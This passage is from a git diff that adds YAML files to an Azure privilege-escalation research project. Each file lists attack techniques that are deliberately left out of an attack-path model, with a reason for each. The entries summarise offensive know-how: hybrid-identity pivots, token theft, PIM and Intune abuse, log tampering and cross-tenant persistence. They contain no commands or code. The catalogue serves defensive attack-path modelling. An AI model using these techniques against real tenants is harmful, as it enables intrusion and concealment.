src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#detach-the-waf-from-the-endpoint-front-door-security-policy-unbind + technique: Detach the WAF from the endpoint (Front Door security-policy unbind) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#application-gateway-for-containers-agc--waf-unbind--traffic-redirect + technique: Application Gateway for Containers (AGC) — WAF unbind / traffic redirect + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#cut-the-waf-logs + technique: Cut the WAF logs + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_171e422_control.yaml b/src/privilege-escalation-paths-research/azure/_excluded_171e422_control.yaml new file mode 100644 index 0000000000..f3762bfd8b --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_171e422_control.yaml @@ -0,0 +1,5 @@ +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md#microsoftcacheredisregeneratekeyaction + technique: Microsoft.Cache/redis/regenerateKey/action + reason: A credential or permission gain is documented, but it is deferred until azure_service_credential target + for a regenerated Redis key and machine-checked access-key authentication. Rotation yields a replacement credential, + but disabled key auth defeats use. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_171e422_entra.yaml b/src/privilege-escalation-paths-research/azure/_excluded_171e422_entra.yaml new file mode 100644 index 0000000000..4fd34bddd3 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_171e422_entra.yaml @@ -0,0 +1,113 @@ +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#intune + technique: Intune privilege escalation (page section) + source_revision: 171e422 + reason: "Section header; the concrete techniques are the sub-headings listed below." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#conditional-access-bypass-via-compliance-tampering--company-portal-foci + technique: Conditional Access bypass via compliance tampering / Company Portal FOCI + source_revision: 171e422 + reason: "Conditional Access / device-compliance bypass for an identity the attacker already controls; no new principal is gained." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-connect-health-abuse.md#forged-ad-fs-sign-in-log-injection-fake-agent + technique: Forged AD FS sign-in log injection through a fake Connect Health agent + source_revision: 171e422 + reason: "Log forgery / defense evasion; does not grant any identity or permission." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-connect-health-abuse.md#on-prem-agentkey-theft-from-an-ad-fs-host--event-replay + technique: Connect Health AgentKey theft from an AD FS host and event replay + source_revision: 171e422 + reason: "Starts from on-prem host compromise and only yields log injection; no cloud principal edge." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-connect-health-abuse.md#hybrid-recon-on-prem-identity-leakage-via-connect-health-reader + technique: On-prem identity leakage via Connect Health reader access + source_revision: 171e422 + reason: "Reconnaissance / information disclosure only (the page notes the AgentKey-from-reader path was remediated)." +- source: src/pentesting-cloud/azure-security/az-persistence/README.md#restricted-management-administrative-unit-rmau-to-shield-backdoor-objects + technique: Restricted-management administrative unit used to shield backdoor objects + source_revision: 171e422 + reason: "Persistence / anti-remediation; the restricted_management_au blocker already models its effect on other edges." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md#pivoting-ad----entra-id + technique: Connect Sync server credential abuse (MSOL_ / ConnectSyncProvisioning_ / Sync_ accounts) + source_revision: 171e422 + reason: "Source is compromise of the on-prem sync server; cloud-side roles of the sync identities are already evaluated by the generic Entra role/permission entries." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md#pivoting-entra-id----ad + technique: Entra ID to on-prem AD via password writeback / synced accounts + source_revision: 171e422 + reason: "Target is on-prem Active Directory, outside the cloud principal graph." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md#ad----entra-id + technique: Cloud Sync agent compromise to Entra ID + source_revision: 171e422 + reason: "Source is on-prem agent host compromise." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md#entra-id----ad + technique: Entra ID to on-prem AD via Cloud Sync writeback + source_revision: 171e422 + reason: "Target is on-prem Active Directory." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md#pivoting-from-entra-id-to-on-prem-ad + technique: Cloud Kerberos Trust pivot from Entra ID to on-prem AD + source_revision: 171e422 + reason: "Target is on-prem Active Directory (Domain Admin); not a cloud principal edge." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md#golden-saml + technique: Golden SAML with a stolen AD FS token-signing key + source_revision: 171e422 + reason: "Source is on-prem AD FS key theft; the cloud-side federation backdoor is modelled by azure-entraid-domain-federation-backdoor." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md#pivoting-on-prem---cloud + technique: Seamless SSO silver tickets (AZUREADSSOACC) + source_revision: 171e422 + reason: "Source is on-prem AD compromise." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md#matching-an-on-premises-account-to-an-existing-cloud-user + technique: Soft/hard match of an on-prem account onto an existing cloud user + source_revision: 171e422 + reason: "Requires control of on-prem AD objects in sync scope; source is outside the cloud graph." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-exchange-hybrid-impersonation.md#acs-actor-tokens-and-service-to-service-impersonation + technique: Exchange hybrid ACS actor-token impersonation + source_revision: 171e422 + reason: "Source is on-prem Exchange server compromise; the actor-token path is documented as patched." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md#pass-the-prt + technique: Pass-the-PRT + source_revision: 171e422 + reason: "Token theft from a compromised device; same principal reused, no permission-derived edge." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md#attack + technique: Replay a victim Entra browser session cookie + source_revision: 0b36331 + reason: Requires access to a victim browser profile, a decryptable cookie compatible with the browser protection + in use, and an unexpired session accepted by Entra. These host and session facts are not determined from tenant + permissions. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md#pass-the-certificate-azure + technique: PRT-derived P2P certificate and remote host credential theft + source_revision: 0b36331 + reason: Requires a usable user PRT, security context and derived key, a reachable Entra-joined remote host, sufficient + guest privileges and another user PRT present on that host. Those credential, network and host-session facts + are not determined from tenant permissions. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md#exploit + technique: Azure Arc onboarding GPO script secret recovery + source_revision: 171e422 + reason: "Requires on-prem domain access to the deployment share; source is outside the cloud graph." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#b2b-guest-users + technique: B2B guest user abuse + source_revision: 171e422 + reason: "Guest default permissions are enumeration; any privileged roles/groups held by guests are evaluated by the regular Entra entries." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#multi-tenant-apps-and-oauth-consent-illicit-consent-grant + technique: Illicit consent grant via multi-tenant apps + source_revision: 171e422 + reason: "Phishing / user interaction; not a permission-derived edge." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#cross-tenant-access-settings + technique: Cross-tenant access settings abuse + source_revision: 171e422 + reason: "Policy that relaxes inbound trust (MFA/device claims); a bypass, no new principal." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#cross-tenant-synchronization + technique: Cross-tenant synchronization backdoor + source_revision: 171e422 + reason: "Persistence across tenants; the source tenant is out of the scanned graph." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#noauth-and-foci + technique: nOAuth mutable email claim account takeover + source_revision: 171e422 + reason: A victim account is gained only when a relying-party application maps the unverified mutable email claim + to that account; the application account mapping and sign-in outcome are runtime facts outside the Entra tenant + snapshot. FOCI is a separate token-exchange mechanism. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#workload-identity-federation-cross-cloud-confused-deputy + technique: Workload identity federation confused deputy + source_revision: 171e422 + reason: "External-IdP trust; adding a FIC is covered by the application/SP credential-update entries." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/resource-and-service-sharing-attacks.md#resource--service-sharing-matrix + technique: Data-only cross-tenant resource keys, SAS and network sharing + source_revision: 171e422 + reason: Storage/SQL/Cosmos/Service Bus keys and SAS provide resource data access, and peering/Private Link provides + network reach; neither alone yields another principal. ACR Task managed-identity theft is azure-acr-task-write-existing-identity; + compute and Automation identity execution are covered by their service entries. Credential-bearing image or + connection content needs exact content and principal evidence. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_audit_g1-entra.yaml b/src/privilege-escalation-paths-research/azure/_excluded_audit_g1-entra.yaml new file mode 100644 index 0000000000..1774e7763e --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_audit_g1-entra.yaml @@ -0,0 +1,108 @@ +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorydevicelocalcredentialspasswordread + technique: deviceLocalCredentials/password/read (Windows LAPS) + source_revision: a66f094ede + reason: Duplicate of azure-intune-laps-local-admin-device-user (same permission; local admin on the device leads to the session of its users). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#activate-an-eligible-role-in-model-jit-self-elevation + technique: Self-activate an eligible Azure resource (RBAC) role via roleAssignmentScheduleRequests SelfActivate + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G1-entra-proposals.md#azure-rbac-pim-eligibility - the directory-role half is modelled by azure-entraid-pim-eligible-role-activation, but + there is no requirement kind or selector for Azure resource role eligibility schedules (Microsoft.Authorization/roleEligibilityScheduleInstances).' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#entra-agent-id-blueprint-credential-abuse-agentidentityblueprintaddremovecredsall + technique: Blueprint owner / sponsor reaching the blueprint's child agent identities + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G1-entra-proposals.md#agent-blueprint-owner-child-identities - owners reach the blueprint principal through azure-entraid-app-owner-credentials, + but no selector restricts entra_agent_blueprint_principal_or_child_identity to blueprints the source owns or sponsors.' +- source: src/pentesting-cloud/azure-security/az-services/az-azuread.md#change-user-password + technique: Reset another user's password + source_revision: a66f094ede + reason: Duplicate of azure-entraid-reset-password-password-admin, azure-entraid-reset-password-helpdesk-admin, azure-entraid-reset-password-user-admin, azure-entraid-reset-credentials-authentication-admin + and azure-entraid-reset-credentials-privileged-auth-admin (the role-specific reset matrix). +- source: src/pentesting-cloud/azure-security/az-services/az-azuread.md#service-principals + technique: Owner or Graph-permitted principal adds a client secret to service principals / apps + source_revision: a66f094ede + reason: Duplicate of azure-entraid-sp-owner-credentials, azure-entraid-sp-credentials-update, azure-entraid-app-credentials-update and azure-entraid-graph-application-readwrite-all. +- source: src/pentesting-cloud/azure-security/az-persistence/az-pim-persistence.md#weaken-the-gate-so-activation-stays-silent + technique: roleManagementPolicies/write removes MFA, approval and notifications + source_revision: a66f094ede + reason: A policy edit only removes activation gates; it does not itself grant a role. Privileged Role Administrator + controls Entra directory-role assignment, not Azure-resource RBAC at every scope. For directory roles, eligibility + is azure-entraid-pim-eligible-role-activation; for Azure-resource roles, a separate eligible assignment at the + same scope and its activation policy must be joined before any gain is inferred. +- source: src/pentesting-cloud/azure-security/az-persistence/az-pim-persistence.md#self-approval-loop + technique: Configure a controlled second principal as PIM approver + source_revision: a66f094ede + reason: Persistence of already-held rights; needs roleManagementPolicies/write (Privileged Role Administrator, already modelled by azure-entraid-role-assignment-manage) + and a second controlled principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-pim-persistence.md#plant-eligible-assignments + technique: roleEligibilityScheduleRequests AdminAssign + source_revision: a66f094ede + reason: Directory-role AdminAssign may be covered by directory role-management grants, but Azure-resource Microsoft.Authorization/roleEligibilityScheduleRequests/write + is distinct from roleAssignments/write. A custom role can plant eligible Owner/User Access Administrator for + a controlled principal without active assignment write; model it only after an evaluator joins eligibility, + principal control, role, scope and activation policy. +- source: src/pentesting-cloud/azure-security/az-persistence/az-pim-persistence.md#pim-for-groups-as-durable-indirect-privilege + technique: Eligible PIM for Groups membership on a role-assignable group + source_revision: a66f094ede + reason: Duplicate of azure-entraid-graph-pim-groups-eligibility, azure-entraid-graph-pim-groups-active-assignment and azure-entraid-pim-group-eligible-activation; + the policy-write variant is an enabler. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-governance-persistence.md#connectedorganization-standing-backdoor-persistence + technique: connectedOrganization + no-approval access package for an external tenant + source_revision: a66f094ede + reason: Persistence for identities outside the scanned tenant; the required Identity Governance Administrator / EntitlementManagement.ReadWrite.All already reaches + the catalog groups and roles in azure-entraid-entitlement-catalog-self-grant-group / -role. +- source: src/pentesting-cloud/azure-security/az-persistence/az-entra-id-governance-persistence.md#backdoor-approver--policy-tamper-on-existing-packages-persistence + technique: Add self as approver / remove approval on an existing access package + source_revision: a66f094ede + reason: Duplicate of azure-entraid-entitlement-catalog-self-grant-group and azure-entraid-entitlement-catalog-self-grant-role (same catalog roles, same reached + resources); persistence variant. +- source: src/pentesting-cloud/azure-security/az-persistence/az-intune-persistence.md#self-healing-persistence--defense-evasion-via-configuration-profiles + technique: Re-applied Intune configuration profiles / scripts + source_revision: a66f094ede + reason: Persistence of the same capability modelled by azure-intune-managed-device-user-code-execution (DeviceManagementConfiguration / DeviceManagementScripts + ReadWrite.All). +- source: src/pentesting-cloud/azure-security/az-persistence/az-intune-persistence.md#recurring-rce-via-proactive-remediations-persistence + technique: Scheduled SYSTEM execution via deviceHealthScripts + source_revision: a66f094ede + reason: Duplicate of azure-intune-managed-device-user-code-execution (DeviceManagementScripts.ReadWrite.All is one of its alternatives); recurring execution is + persistence. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-intune-post-exploitation.md#loot-secrets-from-existing-deployed-scripts-read-only + technique: Read scriptContent of deployed Intune scripts for embedded credentials + source_revision: a66f094ede + reason: Depends on secret content inside scripts (runtime data never read by the scanner); there is no secret-holder mapping for Intune scripts, so no target principal + can be derived. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-intune-post-exploitation.md#fleet-destruction--dos-via-privileged-device-actions + technique: Wipe / retire / lock managed devices + source_revision: a66f094ede + reason: Availability impact (DoS); grants no principal's privileges. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md#foci-tokens-privilege-escalation + technique: FOCI refresh-token reuse across family clients + source_revision: a66f094ede + reason: A possessed, unexpired FOCI-family refresh token may gain delegated authority for another public client + and resource through that client’s pre-consented scopes. Token possession, family eligibility, grant/consent + and Conditional Access exchange outcome are runtime facts; tenant configuration alone cannot assert the edge. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#the-role-assignment-primitive + technique: roleAssignments/write at a scope + source_revision: a66f094ede + reason: Duplicate of azure-authorization-roleassignments-write (authorization.yaml). +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#global-administrator--root-scope-takeover-elevateaccess + technique: Global Administrator elevateAccess to root scope + source_revision: a66f094ede + reason: Duplicate of azure-authorization-elevateaccess-global-admin (authorization.yaml). +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#management-group-scope-one-assignment-many-subscriptions + technique: Management-group-scoped role assignment + source_revision: a66f094ede + reason: Duplicate of azure-authorization-roleassignments-write (scope inheritance is evaluated for every Azure scope). +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#azure-lighthouse-durable-cross-tenant-control-plane-access + technique: Lighthouse registrationDefinitions / registrationAssignments to an attacker tenant + source_revision: a66f094ede + reason: Onboarding needs Owner-level rights at the scope (already scope owner via azure-authorization-roleassignments-write); the beneficiary principals live in + a managing tenant outside the scanned graph (persistence). +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#subscription-to-tenant-transfer-re-homing + technique: Change a subscription's directory + source_revision: a66f094ede + reason: Needs a directly assigned subscription Owner (already scope owner); moves resources to another tenant and deletes RBAC - exfiltration/DoS, no principal + gained in the scanned tenant. +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-subscription-rbac-and-management-group-attacks.md#management-group-hierarchy-settings-tamper-default-mg-hijack + technique: managementGroups/settings/write default-MG hijack + source_revision: a66f094ede + reason: Only subscriptions created after the change inherit the attacker MG's assignments (future state); no existing principal or scope is reached at scan time. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_audit_g2-hybrid.yaml b/src/privilege-escalation-paths-research/azure/_excluded_audit_g2-hybrid.yaml new file mode 100644 index 0000000000..caa18a5eac --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_audit_g2-hybrid.yaml @@ -0,0 +1,83 @@ +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md#pivoting + technique: PTA agent backdoor on the sync host, or rogue PTA agent registered by a Global Administrator + source_revision: a66f094ede + reason: Agent backdoor needs local administrator on the on-prem PTA host (outside the cloud graph); registering a rogue agent needs Global Administrator, which + already reaches every user, so it adds only credential harvesting (persistence of held privileges). +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md#abusing-connectsyncprovisioning_connectsync_ + technique: ConnectSyncProvisioning application certificate theft and key addition + source_revision: a66f094ede + reason: Requires stealing the application certificate from the sync server process (host compromise); the application has no directory roles and its sync-API abuse + is undocumented, so there is no configuration-derived edge. Adding keys afterwards is persistence of the same identity. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md#abusing-msol_ + technique: MSOL_ connector account DCSync + source_revision: a66f094ede + reason: MSOL_ is an on-prem AD account and the target is the on-prem domain; outside the cloud principal graph. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-exchange-hybrid-impersonation.md#modify-federation-configuration-via-exchange + technique: Federation configuration changes with Exchange hybrid first-party tokens + source_revision: a66f094ede + reason: Source is on-prem Exchange server compromise and the Exchange token permissions are documented as removed; the cloud-side federation change by tenant principals + is azure-entraid-domain-federation-backdoor. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md#on-prem---cloud-via-resource-based-constrained-delegation + technique: Seamless SSO via RBCD on AZUREADSSOACC$ + source_revision: a66f094ede + reason: Requires write access to the on-prem AZUREADSSOACC$ computer object; source is on-prem AD. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md#creating-kerberos-tickets-for-cloud-only-users + technique: Kerberos tickets for cloud-only users via Seamless SSO + source_revision: a66f094ede + reason: Documented as no longer working (struck through on the page) and requires the on-prem AZUREADSSOACC$ key. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md#recover-the-active-ad-fs-key-through-machine-dpapi + technique: AD FS token-signing key recovery through machine DPAPI + source_revision: a66f094ede + reason: Requires administrator on the on-prem AD FS server; source is outside the cloud graph. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md#aws--ad-fs--golden-saml + technique: Golden SAML into AWS through AD FS + source_revision: a66f094ede + reason: Requires the on-prem AD FS signing key; the AWS SAML trust side is modelled by the AWS catalog, not from Azure configuration. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md#abusing-protected-prts + technique: Request tokens through a PRT-backed broker, including impersonation of another active user session + source_revision: 0b36331 + reason: Requires execution in a joined device user session or local Administrator/SYSTEM access to impersonate + another active user, plus that user session having a valid PRT. Device compromise, live session state and token + issuance are runtime facts not determined from tenant permissions. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md#phishing-prts + technique: Device-code phishing with the broker client to obtain a PRT + source_revision: a66f094ede + reason: Requires the victim to complete an interactive sign-in (phishing); not derivable from the source principal's permissions. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md#local-token-storage-and-security-considerations + technique: Azure CLI and PowerShell token caches on a host + source_revision: 0b36331 + reason: Requires host file or memory access to another sign-in cache or a service-principal secret, plus valid + usable credential contents; cache ownership, decryptability and contents are runtime facts not determined from + tenant permissions. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md#secrets-in-azure-enumeration-artifacts + technique: Application secrets left in enumeration output files + source_revision: a66f094ede + reason: Secret discovery in local files is runtime host state, not configuration; credential reuse of the leaked application is not a permission edge. +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md#tokens-in-memory + technique: Tokens extracted from process memory + source_revision: a66f094ede + reason: Needs memory access on a host (runtime state); same principal reused. +- source: src/pentesting-cloud/azure-security/az-device-registration.md#historical-registering-a-device-with-sso-tokens + technique: Registering a device with stolen SSO tokens (historical) + source_revision: a66f094ede + reason: Documented as historical and fixed by Microsoft; required stolen tokens of the same user. +- source: src/pentesting-cloud/azure-security/az-device-registration.md#historical-overwriting-a-device-ticket + technique: Overwriting a device transport key (historical) + source_revision: a66f094ede + reason: Documented as historical and fixed by Microsoft; required a vulnerability in device registration. +- source: src/pentesting-cloud/azure-security/az-device-registration.md#historical-overwrite-whfb-key + technique: Overwriting a Windows Hello for Business key (historical) + source_revision: a66f094ede + reason: Documented as historical and fixed by Microsoft; required a vulnerability and a token of the same user (persistence, not escalation). +- source: src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md#reusable-workflows-and-job_workflow_ref-scoping + technique: Federated credential subjects scoped to reusable workflows + source_revision: a66f094ede + reason: The source is an external GitHub workflow identity, not a tenant principal; the FIC subject is not matched against repository contents in the snapshot. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md#code-execution-vectors-that-bypass-job_workflow_ref-protections + technique: Code execution in CI that satisfies a federated credential subject + source_revision: a66f094ede + reason: Needs write or pull-request access to an external repository and its workflow contents; outside the Azure configuration graph. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md#terraform-plan-as-an-execution-primitive-in-prs + technique: Terraform plan in pull requests as a CI execution primitive + source_revision: a66f094ede + reason: Needs pull-request access to an external repository; outside the Azure configuration graph. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_audit_g3-rbac-control.yaml b/src/privilege-escalation-paths-research/azure/_excluded_audit_g3-rbac-control.yaml new file mode 100644 index 0000000000..b1bbe066cf --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_audit_g3-rbac-control.yaml @@ -0,0 +1,22 @@ +# Azure privesc completeness audit (g3-rbac-control): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#forge-signatures-with-microsoftkeyvaultvaultskeyssignaction + technique: keys/sign (and keys/decrypt) forging artefacts for non-Entra consumers + source_revision: a66f094ede + reason: Forging JWT/SAML/code-signing artefacts trusted by a custom application is application-level trust abuse, and key usage by consumers is not collected. The + Entra service-principal certificate case (client assertion signed by a vault key) is modelled by azure-keyvault-key-sign-sp-client-assertion. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md#forge-signatures-with-microsoftkeyvaultvaultskeyssignaction + technique: BloodHound AZGetKeys (keys/read) + source_revision: a66f094ede + reason: Key get returns only the public portion of a key; private key material is never exported by the key API. The identity risk is secrets/get and certificate + private keys (returned through the secret), already modelled by azure-keyvault-secret-read-sp-credentials, and signing, modelled by azure-keyvault-key-sign-sp-client-assertion. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#compromising-state-configuration + technique: Azure Automation State Configuration (DSC) configuration push to registered nodes + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G3-rbac-control-proposals.md#automation-dsc-node-host-link. configurations/write + compilationjobs/write + nodeConfigurations/write runs + SYSTEM code on every DSC node of the account (and thus their managed identities), but the evaluator has no host link from an Automation account to its DSC nodes + (azure_host_linked_to_pivot only knows automation_hybrid_worker). The VM DSC extension route is already modelled in virtual_machines.yaml.' +- source: src/pentesting-cloud/azure-security/az-services/az-misc.md#power-apps + technique: Reuse a broadly shared Power Apps on-premises SQL connection through Power Query + source_revision: a66f094ede + reason: Power Platform connection sharing and on-premises data gateways are not part of the Azure/Entra snapshot, and the gain is the on-premises SQL login behind + the connection, not an Azure/Entra principal. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_audit_g4-compute.yaml b/src/privilege-escalation-paths-research/azure/_excluded_audit_g4-compute.yaml new file mode 100644 index 0000000000..80f05825e0 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_audit_g4-compute.yaml @@ -0,0 +1,16 @@ +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#cluster--client-certificate-theft--data-plane-admin + technique: Cluster / admin client certificate theft from Key Vault + source_revision: a66f094ede + reason: A credential or permission gain is documented, but it is deferred until the collector supplies serviceFabric.certSecretLinks[{clusterId,secretId,thumbprint,isAdmin,active}]. + Without a verified active cluster admin PFX-to-cluster link, a vault secret may be unrelated. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountswrite--re-enable-sharedkey-auth-re-point-auto-storage-attach-account-identity + technique: Batch account write + source_revision: a66f094ede + reason: Re-enabling SharedKey only lifts the shared_key_auth_mode condition of azure-batch-shared-key-task-submission (listkeys/regeneratekeys still required); + auto-storage repoint is storage tampering; the account-level identity is used by the service (CMK, auto-storage) and is not exposed to node code. Pool identity + paths are azure-batch-pool-write-starttask and azure-batch-pool-write-assign-user-assigned-identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-guest-configuration-persistence.md#fleet-wide-persistence-via-azure-policy--guest-configuration + technique: Fleet-wide persistence via Azure Policy + guest configuration + source_revision: a66f094ede + reason: Duplicate of azure-authorization-roleassignments-write (the documented set includes roleAssignments/write, which already grants any role at that scope); + the per-machine gain is azure-guestconfiguration-assignment-write / -arc. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_audit_g5-apps.yaml b/src/privilege-escalation-paths-research/azure/_excluded_audit_g5-apps.yaml new file mode 100644 index 0000000000..9a637bfba2 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_audit_g5-apps.yaml @@ -0,0 +1,27 @@ +# Azure privesc completeness audit (g5-apps): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesconfiglistaction + technique: App settings / connection strings listing + source_revision: a66f094ede + reason: Duplicate of azure-appservice-publishing-credentials-basic-auth-enabled and azure-appservice-publishing-credentials-enable-basic-auth (publishing credentials), + azure-appservice-easyauth-client-secret (service-principal secrets in settings) and azure-functions-config-list-storage-key (content storage key); all include + config/list/action. Other settings are data exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesconfigsnapshotslistsecretsaction-microsoftwebsitesslotsconfigsnapshotslistsecretsaction + technique: Config snapshot listSecrets (site and slot) + source_revision: a66f094ede + reason: Duplicate of azure-appservice-easyauth-client-secret and azure-functions-config-list-storage-key, whose any_of include config/snapshots/listsecrets/action + and slots/config/snapshots/listsecrets/action. Other historical settings are data exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesslotsconfiglistaction + technique: Slot app settings listing + source_revision: a66f094ede + reason: Duplicate of azure-appservice-slot-publishxml (slot publishing credentials), azure-functions-config-list-storage-key (storage key) and azure-appservice-easyauth-client-secret + (stored SP secrets); all include slots/config/list/action as an any_of alternative. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementservicebackendswrite + technique: Backend URL/credential redirect + source_revision: a66f094ede + reason: The Named Value header capture is duplicate of azure-apim-named-value-secret (backends/write any_of alternative); redirecting the backend URL alone is traffic + interception of unknown content with no identity gain. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#read-logic-app-trigger-and-integration-account-callback-urls + technique: Read Logic App trigger and integration-account callback URLs + source_revision: a66f094ede + reason: Runs the existing, unmodified workflow definition only (confused deputy), like the excluded listCallbackUrl actions of az-logic-apps-privesc.md; integration-account + URLs are artifact content reads. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_audit_g6-containers.yaml b/src/privilege-escalation-paths-research/azure/_excluded_audit_g6-containers.yaml new file mode 100644 index 0000000000..4e40ee0ce5 --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_audit_g6-containers.yaml @@ -0,0 +1,47 @@ +# Azure privesc completeness audit (g6-containers): techniques reviewed and intentionally NOT modelled. +- source: 